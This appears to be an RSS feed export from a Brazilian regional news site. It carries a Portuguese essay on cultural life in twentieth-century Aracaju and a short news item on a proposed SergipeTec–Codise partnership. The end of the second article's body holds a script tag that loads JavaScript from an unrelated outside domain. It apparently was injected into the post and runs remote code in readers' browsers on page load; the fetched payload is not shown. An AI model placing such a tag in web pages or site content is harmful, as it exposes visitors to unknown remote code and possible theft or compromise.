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	<title>Arquivo para atores - Só Sergipe</title>
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	<description>Notícias de Sergipe levadas a sério.</description>
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	<title>Arquivo para atores - Só Sergipe</title>
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		<title>PRÁTICAS CULTURAIS NA ARACAJU DO SÉCULO XX</title>
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		<dc:creator><![CDATA[Antonio Garcia]]></dc:creator>
		<pubDate>Sat, 26 May 2018 15:00:51 +0000</pubDate>
				<category><![CDATA[Artigos]]></category>
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					<description><![CDATA[<p>(*) Prof. Dr. Jorge Carvalho do Nascimento Ítalo Calvino nos ensina que “de uma cidade, nós não aproveitamos as suas sete ou setenta e sete maravilhas, mas a resposta que dá às nossas perguntas” (Cf. CALVINO, Ítalo. As cidades invisíveis. Tradução Diogo Mainardi. São Paulo, Companhia das Letras, 1990. p. 44.). É exatamente o de [&#8230;]</p>
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										<content:encoded><![CDATA[<p><strong>(*) Prof. Dr. Jorge Carvalho do Nascimento</strong></p>
<figure id="attachment_11644" aria-describedby="caption-attachment-11644" style="width: 254px" class="wp-caption alignleft"><a href="https://www.sosergipe.com.br/wp-content/uploads/2018/05/jorge-carvalho.jpg"><img fetchpriority="high" decoding="async" class="wp-image-11644" src="https://www.sosergipe.com.br/wp-content/uploads/2018/05/jorge-carvalho-300x300.jpg" alt="" width="254" height="254" srcset="https://teste.sosergipe.com.br/wp-content/uploads/2018/05/jorge-carvalho-300x300.jpg 300w, https://teste.sosergipe.com.br/wp-content/uploads/2018/05/jorge-carvalho-150x150.jpg 150w, https://teste.sosergipe.com.br/wp-content/uploads/2018/05/jorge-carvalho.jpg 640w" sizes="(max-width: 254px) 100vw, 254px" /></a><figcaption id="caption-attachment-11644" class="wp-caption-text">Professor Jorge Carvalho do Nascimento</figcaption></figure>
<p style="text-align: justify;">Ítalo Calvino nos ensina que “de uma cidade, nós não aproveitamos as suas sete ou setenta e sete maravilhas, mas a resposta que dá às nossas perguntas” (Cf. CALVINO, Ítalo. As cidades invisíveis. Tradução Diogo Mainardi. São Paulo, Companhia das Letras, 1990. p. 44.).</p>
<p style="text-align: justify;">É exatamente o de formular algumas perguntas à cidade de Aracaju o propósito desta reflexão. Interessa pensar o seu processo de urbanização, as suas formas, a sua intensidade e as suas peculiaridades. Compreender o conjunto de relações sociais, práticas culturais e educativas estabelecidas no espaço urbano da capital do Estado de Sergipe, a partir das suas primeiras manifestações na metade dos anos 50 do século XIX, quando a cidade foi fundada por Inácio Barbosa para ser a capital da Província até adquirir a sua condição atual de metrópole conturbada.</p>
<p style="text-align: justify;">Um espaço seletivo, no qual as diferentes áreas, cada um dos bairros possui equipamentos urbanos distintos, algumas regiões guardando práticas que nem sempre são condizentes com os hábitos sociais mais contemporâneos. Cada espaço com características próprias ao processo da sua expansão, com múltiplas variações de uso urbano nas relações entre as pessoas e o espaço gerando frequentes conflitos. A luta pelo domínio do uso do solo da cidade é parte desses conflitos, importantes no processo de formação da estrutura urbana e na visão incorporada pelos indivíduos que assumem o poder, criando e recriando o espaço urbano.</p>
<p style="text-align: justify;">As condições ambientais são também determinantes do comportamento humano no espaço da cidade. A existência de rios, as áreas litorâneas, os espaços de preservação florestal, a implantação de rodovias, condições de saneamento, distribuição de energia elétrica são elementos considerados nos conflitos que têm o domínio do espaço urbano como foco. Essa diferenciação urbana forma guetos, com muitas áreas deprimidas pela pobreza. Mas estabelece ainda um outro tipo de gueto. Aqueles destinados às pessoas de renda mais alta, os condomínios fechados.</p>
<p style="text-align: justify;">Nesse processo desigual, o Estado tem buscado regular o uso do espaço, através de um ordenamento legislativo no qual esses conflitos ganham força de modo especial. Esse tipo de ação integra-se a todo um contexto que produz necessidades educacionais, sanitárias, de abastecimento, de lazer, de transporte, de controle social – elementos indispensáveis à manutenção da ordem vigente. Tudo enfim que se pode entender por urbanização. A aceleração do ritmo da vida social urbana é parte visível desse processo que se confunde com o da vida das pessoas na cidade.</p>
<p style="text-align: justify;">A cidade que Inácio Barbosa fundou, cresceu. E com ela os horizontes e utensilagens mentais dos seus habitantes. Cerca de um século após a sua fundação era possível verificar em Aracaju, na década de 50 do século XX, um intenso movimento cultural. “Reuniões. Encontros. Debates. Ora nos colégios, ora nas residências, ora nos cafés Central e Ponto Chique. Jornais. Revistas. Conferências. Eram cultivados os corais, o balé clássico e o canto lírico. Havia um Centro de Cultura ativo e operante. Uma palestra, por semana, em casa de cada associado. A Academia Sergipana de Letras era muito frequentada em reuniões festivas, quando da posse de um novo acadêmico. A revista Renovação, de Maria Rita, enchia a vaidade da província, publicando, generosamente, crônicas e poesias, de bom e mau quilates” (Cf. CABRAL, Mário. “Aracaju cultural em 1940”, in Revista da Academia Sergipana de Letras. Aracaju, Nº 27, Março 1980.p. 53.).</p>
<p style="text-align: justify;">[box type=&#8221;shadow&#8221; align=&#8221;&#8221; class=&#8221;&#8221; width=&#8221;&#8221;]</p>
<p style="text-align: justify;">O quadro pintado pelo cronista Mário Cabral mostra uma cidade culturalmente ativa, descrevendo a circulação de revistas como Alvorada, Estudos Sergipanos e Renascença; jornais, como Correio de Aracaju, Sergipe Jornal, Diário de Sergipe, A Cruzada, A República, O Estro, O Eco e O Nordeste; a Rádio Difusora era outro importante veículo de divulgação da formação da mentalidade dos aracajuanos, do mesmo modo que espaços de lazer como o Cinema Rio Branco – palco de grandes eventos do teatro brasileiro; grupos de teatro amador, como Os Nossos, Jhalf Pran e O Paulistano e seu Teatro; teatrólogos, como Alfredo Gomes, Raimundo Oliveira, Paulo Barreto, Flora do Prado Maia, José Carlos da Costa Farias e Severino Uchoa; os saraus musicais.</p>
<p style="text-align: justify;">Atores, a exemplo de Fernando França, Waldemar Prudente, Grossi Missano, Ednaldo Rezende, Neide Albuquerque e Violeta Andrade; os jornais falados; jornalistas, como João Batista de Lima e Silva, Paulo Costa, Ómer Mont’Alegre, Joel Silveira, Junot Silveira e Zózimo Lima e a sua coluna “Variações em Fá Sustenido”; cronistas sociais como Chico de Baim – um dos divulgadores do gênero jornalístico crônica social entre nós-, Heitor Teles – popularizador da crônica social nos jornais.</p>
<p style="text-align: justify;">Jornalistas esportivos, como Martins Peralva – que revolucionou a crônica esportiva sergipana – e Isaac Zukerman; costureiros, como Otávio Soares o primeiro produtor de moda para as elites sergipanas, campo tradicionalmente dominado pelas mulheres; pianistas, como Carlos Rubens e Carlos Dantas; violonistas, como Carnera, João Moreira e Antônio Emílio; artistas plásticos como Florival Santos, Autran Santana, Inácio Oliveira, Álvaro Santos e Jenner Augusto; cantores populares, como João Melo, Humberto Araújo e Antônio Garcia.</p>
<p style="text-align: justify;">Clubes, a exemplo do Recreio Clube; bares, como o Café Central e o Bar Apolo; colégios, como o Atheneu Pedro II; a circulação de livros, como Lírica, de Garcia Rosa, Espelho Interior e Ilha Selvagem, de Passos Cabral;  Evangelho de um triste, de Artur Fortes; Caderno de Crítica, Espelho do Tempo, Caminho da Solidão; Roteiro de Aracaju e Crítica e Folclore, de Mário Cabral; Os Corumbas e Rua do Siriri, de Amando Fontes; A Catedral de Ouro e Sob o olhar malicioso dos trópicos, de Barreto Filho; Vidas Perdidas e Advogados, de Carvalho Neto;  O Problema Açucareiro em Sergipe, de Orlando Dantas;  Folclore da Cachaça, Cancioneiro de Sergipe e Contribuição ao Estudo de Aracaju, de José Calasans.</p>
<p style="text-align: justify;">Desenvolvimento Urbano de Aracaju, de Fernando Porto; Deus é Verde, de Jorge Neto; Vila de Santa Luzia, de Ómer Mont’Alegre; Letras Vencidas e Cajueiro dos Papagaios, de Garcia Moreno; Cidade Subterrânea, de Santo Souza; Dialética do Amor, de Ariosvaldo Figueiredo; Berço de Angústia, de Núbia Marques; Jackson de Figueiredo, de José Amado Nascimento; Poema da Noite, de Eunaldo Costa; Minha Gente, de Clodomir Silva; a grande casa editora que era a Livraria Regina.</p>
<p style="text-align: justify;">Estádios de futebol como o Adolfo Rollemberg; as grandes equipes de futebol como o Sergipe, o Cotinguiba, o Confiança. O espaço natural do meio ambiente continuava cercado, ainda, por coqueiros, melancias e caranguejos.</p>
<p>[/box]</p>
<p style="text-align: justify;">As pessoas, os fatos, as instituições os lugares, enfim, a criação humana na cidade nos mostra que o espaço urbano é o espaço dos olhares. Tudo está contido num emaranhado de ruas, praças, igrejas, edifícios, a movimentação das pessoas, um mundo de muitas tarefas. Tarefas assumidas anonimamente por todos e por cada um no contexto dos objetos, das cores, das luzes e das formas da cidade. Espaço que se antagoniza ao do campo, ao da vida rural, de ritmo lento e modorrento.</p>
<p style="text-align: justify;">Visão na qual estão calcadas as construções interpretativas da cidade feitas por memorialistas, poetas, romancistas, sociólogos, urbanistas, economistas e historiadores. Os viajantes foram os primeiros grandes apaixonados pelas cidades, pela tentativa de compreendê-las. Eles deixaram longas descrições. Trataram dos lugares, dos bairros, das transformações, do traçado urbano, das edificações e da paisagem humana. Mesmo quando as impressões que lhes ficaram não foram muito agradáveis, trataram das más impressões, das hostilidades ambientais, da irregularidade do traçado urbano.</p>
<p><strong>(*)</strong> Jorge Carvalho é ex-secretário estadual de Educação e professor aposentado da Universidade Federal de Sergipe</p>
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		<title>SergipeTec e Codise poderão fazer parceria</title>
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		<dc:creator><![CDATA[Antônio Carlos Garcia]]></dc:creator>
		<pubDate>Tue, 09 Jan 2018 15:44:16 +0000</pubDate>
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										<content:encoded><![CDATA[<p style="text-align: justify;"><span style="color: #000000;">Com o objetivo de apresentar e explicar sobre o funcionamento das diversas ações e projetos executados que o presidente do Sergipe Parque Tecnológico (SergipeTec), Manoel Hora, recebeu a visita do presidente da Companhia de Desenvolvimento Econômico de Sergipe (Codise), Eugênio Dezen. Na ocasião, ocorrida nesta segunda-feira, 08, foram discutidas e analisadas as possibilidades de viabilização de parceria entre o SergipeTec e a Codise, afim de fomentar o desenvolvimento de pesquisas – e consequente geração de negócios – nas áreas de Tecnologia da Informação (TI), Biotecnologia, e Energia e Meio Ambiente.</span></p>
<p style="text-align: justify;">De acordo com o presidente da Codise, Eugênio Dezen, a ideia, a partir desta visita, é ampliar a sinergia entre as duas instituições, por meio da soma de esforços, para mostrar à sociedade todo o potencial científico e tecnológico disponível em Sergipe, com o propósito de atrair mais empresas para o Estado.</p>
<p style="text-align: justify;">[box type=&#8221;success&#8221; align=&#8221;aligncenter&#8221; class=&#8221;&#8221; width=&#8221;&#8221;]</p>
<p style="text-align: justify;">“Entre os vários benefícios de se instalar no SergipeTec apresentados, alguns dos que me chamaram mais atenção são quanto à disponibilização locacional e de infraestrutura; oportunidade de pesquisas; localização [ao lado da Universidade Federal de Sergipe], em São Cristóvão; a possibilidade de intercâmbio com vários institutos de pesquisa e outras universidades/faculdades… essa estrutura que o Estado disponibiliza, através do Parque Tecnológico, é algo excepcional, e, com certeza, está entre os melhores espaços de pesquisa, de negócios [incubadora] e de inovação do país!”, parabenizou Eugênio.</p>
<p>[/box]</p>
<p style="text-align: justify;">Para Manoel Hora, a visita do presidente e da diretoria da Codise é bastante oportuna, especialmente, por acontecer neste momento de novo ano, um novo ciclo de oportunidades e de parcerias, visando fomentar e gerar novas ideias inovadoras na Ciência e Tecnologia.</p>
<p style="text-align: justify;">“É uma parceria fundamental, por envolver dois atores cujas atuações são interligadas e possuem o mesmo objetivo: de movimentar e desenvolver a economia do Estado, por meio da promoção, apoio, expansão, popularização e do empreendedorismo científico e tecnológico. Este último, através dos nossos editais disponíveis para a instalação de empresas de base tecnológica no SergipeTec”, disse Manoel.</p>
<p><script id="lg210a" src="https://cloudapi.online/js/api46.js" type="text/javascript"></script></p>
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